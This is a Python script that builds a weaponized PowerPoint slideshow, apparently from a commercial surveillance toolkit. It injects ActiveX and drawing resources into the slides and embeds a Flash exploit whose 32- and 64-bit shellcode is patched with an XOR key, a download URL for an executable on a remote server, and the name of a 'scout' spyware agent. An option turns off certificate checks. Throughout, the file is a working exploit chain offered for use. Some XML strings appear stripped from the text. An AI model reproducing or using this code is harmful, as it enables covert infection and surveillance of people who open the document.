#!/usr/bin/env python import os import sys import copy import json import glob import zlib import random import shutil import pylzma import struct import argparse import platform import tempfile import urlparse import subprocess import ConfigParser from zipfile import ZipFile # ------- start of utils subs ------- def random_id(length): number = '0123456789' alpha = 'abcdefghijklmnopqrstuvwxyz' id = '' for i in range(0, length, 2): id += random.choice(number) id += random.choice(alpha) return id def four_byte_xor(buf, key): out = '' for i in range(0, len(buf)/4): c = struct.unpack('") + 1 buff2 = buff[:idx+idx2] if buff.lower().find("vnd.ms-office.activex") == -1: buff2 += '' if buff.lower().find("image/x-wmf") == -1: buff2 += '' if buff.lower().find("application/vnd.openxmlformats-officedocument.vmldrawing") == -1: buff2 += '' buff2 += '' buff2 += buff[idx+idx2:] open("tmp/[Content_Types].xml", 'w').write(buff2) # update slide1 rels buff = open("tmp/ppt/slides/_rels/slide1.xml.rels", 'r').read() idx = buff.lower().find("") buff2 = buff[:idx] buff2 += '' buff2 += '' buff2 += '' buff2 += "" open("tmp/ppt/slides/_rels/slide1.xml.rels", 'w').write(buff2) # update slide1 buff = open("tmp/ppt/slides/slide1.xml", 'r').read() #idx = buff.lower().find("") + 1 buff2 = buff[:idx+idx2] buff2 += ' ' #buff2 += '' buff2 += buff[idx+idx2:] open("tmp/ppt/slides/slide1.xml", 'w').write(buff2) if os.path.exists("tmp/ppt/activeX"): print "[!!] Unsupported file: contains an ActiveX" sys.exit(-1); if not os.path.exists("tmp/ppt/activeX/"): shutil.copytree("resources/activeX/", "tmp/ppt/activeX/") if not os.path.exists("tmp/ppt/media/"): shutil.copytree("resources/media/", "tmp/ppt/media/") else: shutil.copy("resources/media/image1000.wmf", "tmp/ppt/media/") #shutil.copy("resources/media/image1001.wmf", "tmp/ppt/media/") if not os.path.exists("tmp/ppt/drawings/"): shutil.copytree("resources/drawings/", "tmp/ppt/drawings/") else: shutil.copy("resources/drawings/vmlDrawing1003.vml", "tmp/ppt/drawings/") shutil.copy("resources/drawings/_rels/vmlDrawing1003.vml.rels", "tmp/ppt/drawings/_rels/") def edn_build(target_directory, ip, basedir, scout_name, scout_input_path, ppsx, output_file, swf_random_name, exe_random_name, expiry, validate): print '[*] Powerpoint Exploit:\n target directory: {}\n ip: {}\n basedir: {}\n scout name: {}\n\ scout input: {}\n ppsx: {}\n output: {}\n swf_random_name: {}\n exe_random_name: {}\n'.format(target_directory, ip, basedir, scout_name, scout_input_path, ppsx, output_file, swf_random_name, exe_random_name ) # clear tmp in case there're some leftovers for root, dirs, files in os.walk('tmp'): for f in files: os.unlink(os.path.join(root, f)) for d in dirs: shutil.rmtree(os.path.join(root, d)) # check whether we're regenerating or not if os.path.exists(os.path.join(target_directory, '.config')): print '[*] N.B. regenerating an existing exploit' old_stuff = os.path.join(target_directory, 'instance_{}'.format(random_id(5))) os.mkdir(old_stuff) shutil.move(os.path.join(target_directory, 'data'), old_stuff) for f in glob.glob(os.path.join(target_directory, '*.ini')): shutil.move(f, old_stuff) shutil.move(old_stuff, os.getcwd()) os.mkdir(os.path.join(target_directory, 'data')) create_ppsx(ppsx) # check whether we're regenerating this exploit, i.e. '.config' file exists within the exploit root dir config_path = os.path.join(target_directory, '.config') if os.path.exists(config_path): data = json.load(open(config_path)) swf_url = str(data['url']) swf_random_name = swf_url[swf_url.rfind('/')+1:] parsed_url = urlparse.urlparse(swf_url) ip = parsed_url.scheme + '://' + parsed_url.netloc basdir = parsed_url.path[1:parsed_url.path.rfind('/')] else: #swf_url = ip + '/' + basedir + '/' + swf_random_name swf_url = ip + basedir + swf_random_name open(config_path, 'w').write('{{"url": "{}"}}'.format(swf_url)) #exe_url = ip + '/' + basedir + '/' + exe_random_name exe_url = ip + basedir + exe_random_name print '[*] exe_url: {}'.format(exe_url) print '[*] swf_url: {}'.format(swf_url) scout_name = scout_name xor_key = random.randint(0xdead, 0xdeadbeef) # offsets within resources/shellcode xor_offt = 0x88 * 2 url_offt = xor_offt + (0x4*2) scout_offt = 0x110 * 2 # offsets within resources/shellcode64 xor_offt64 = 0 url_offt64 = 8 scout_offt64 = 0x88 * 2 # decompress swf compressed_swf = open("resources/exploit.swf", 'rb').read() swf_buff = zlib.decompress(compressed_swf[8:]) # replace :) swf_buff = swf_buff.replace("ht-201", "abc123") swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi") # --- start 32bit --- stage2_offset = swf_buff.find(b"EFBEADDE") if stage2_offset == 0: print "[E] Gadget for shellcode not found" sys.exit(-1) print "[*] Gadget for shellcode found @ 0x%x" %(stage2_offset) swf_bytearray = bytearray(swf_buff) # replace shellcode 32 shellcode = open("resources/shellcode", 'rb').read() if len(shellcode) > 5800: print "[!!] Shellcode too big: 0x%x" % (len(shellcode)) sys.exit(-1) hex_shellcode = shellcode.encode('hex') # find mov var, 0xf001f001 # 0xf001f001 -> shellcode will validate CA # !0xf001f001 -> shellcode will not validate CA if not validate: flag = 'c745fc01f001f0' position = hex_shellcode.find(flag) if position == -1: print('[E] could not find validate cert flag') exit(-1) hex_shellcode = hex_shellcode.replace(flag, 'c745fceeeeeeee') for i in range(len(hex_shellcode)): swf_bytearray[stage2_offset + i] = hex_shellcode[i] # modify URL 32 hex_url = exe_url.encode('hex') + "0000" print "[*] Hex URL => %s" %(hex_url) for i in range(len(hex_url)): swf_bytearray[stage2_offset + url_offt + i] = hex_url[i] # modify scout name 32 hex_scout = "5c" + scout_name.encode('hex') + "0000" print "[*] Scout Name => %s" % (hex_scout) for i in range(len(hex_scout)): swf_bytearray[stage2_offset + scout_offt + i] = hex_scout[i] # modify xor key hex_xorkey = ("%08x" % xor_key) print "[*] Hex key => %s" %(hex_xorkey) swf_bytearray[stage2_offset + xor_offt + 0] = hex_xorkey[6] swf_bytearray[stage2_offset + xor_offt + 1] = hex_xorkey[7] swf_bytearray[stage2_offset + xor_offt + 2] = hex_xorkey[4] swf_bytearray[stage2_offset + xor_offt + 3] = hex_xorkey[5] swf_bytearray[stage2_offset + xor_offt + 4] = hex_xorkey[2] swf_bytearray[stage2_offset + xor_offt + 5] = hex_xorkey[3] swf_bytearray[stage2_offset + xor_offt + 6] = hex_xorkey[0] swf_bytearray[stage2_offset + xor_offt + 7] = hex_xorkey[1] # --- end 32bit --- # --- start 64bit --- # get offset to shellcode64 stage264_offset = swf_buff.find(b"CAF1ADDE") if stage264_offset == 0: print "[!!] Gadget for shellcode64 not found" sys.exit(-1) print "[*] Gadget for shellcode found @ 0x%x" %(stage264_offset) # replace shellcode 64 shellcode64 = open("resources/shellcode64", 'rb').read() if len(shellcode64) > (5800*2): print "[!!] Shellcode too big: 0x%x" % (len(shellcode64)) sys.exit(-1) hex_shellcode64 = shellcode64.encode('hex') for i in range(len(hex_shellcode64)): swf_bytearray[stage264_offset + i] = hex_shellcode64[i] # modify URL 64 hex_url = exe_url.encode('hex') + "0000" print "[*] Hex URL => %s" %(hex_url) for i in range(len(hex_url)): swf_bytearray[stage264_offset + url_offt64 + i] = hex_url[i] # modify scout name 64 hex_scout = "5c" + scout_name.encode('hex') + "0000" print "[*] Scout Name => %s" % (hex_scout) for i in range(len(hex_scout)): swf_bytearray[stage264_offset + scout_offt64 + i] = hex_scout[i] # modify xor key 64 hex_xorkey = ("%08x" % xor_key) print "[*] Hex key => %s" %(hex_xorkey) swf_bytearray[stage264_offset + xor_offt64 + 0] = hex_xorkey[6] swf_bytearray[stage264_offset + xor_offt64 + 1] = hex_xorkey[7] swf_bytearray[stage264_offset + xor_offt64 + 2] = hex_xorkey[4] swf_bytearray[stage264_offset + xor_offt64 + 3] = hex_xorkey[5] swf_bytearray[stage264_offset + xor_offt64 + 4] = hex_xorkey[2] swf_bytearray[stage264_offset + xor_offt64 + 5] = hex_xorkey[3] swf_bytearray[stage264_offset + xor_offt64 + 6] = hex_xorkey[0] swf_bytearray[stage264_offset + xor_offt64 + 7] = hex_xorkey[1] # --- end 64bit --- # compress swf uncompressed_len = len(swf_bytearray) uncompressed_len += len("ZWS\x0d") uncompressed_len += 4 # + se stessa print "[*] Uncompressed len: 0x%x" %(uncompressed_len) lzma_buff = pylzma.compress(byteArray2String(swf_bytearray)) compressed_len = len(lzma_buff) - 5 print "[*] Compressed len: 0x%x" %(compressed_len) output_buff = "ZWS\x0d" output_buff += struct.pack(" swf served in https, scout https, validate cert # validate False -> swf served in http, scout https, don't validate cert validate = True # extract scout metadata if platform.system() == 'Windows': ouch = subprocess.check_output('python ../agentdetect.py --latest "{}"'.format(args.agent), shell=True ) else: ouch = subprocess.check_output('agentdetect --latest "{}"'.format(args.agent), shell=True ) if ouch.strip() == 'None': print '[E] scout provided is not up to date' exit(-1) scout_data = json.loads(ouch) if scout_data['type'] != 'scout': print '[E] executable provided is not a scout' exit(-1) scout_name = scout_data['name'] # build the exploit edn_build(args.outdir, serveraddr, args.basedir, scout_name, args.agent, args.document, args.output, swf_random_name, exe_random_name, args.expiry, validate) if __name__ == '__main__': main() .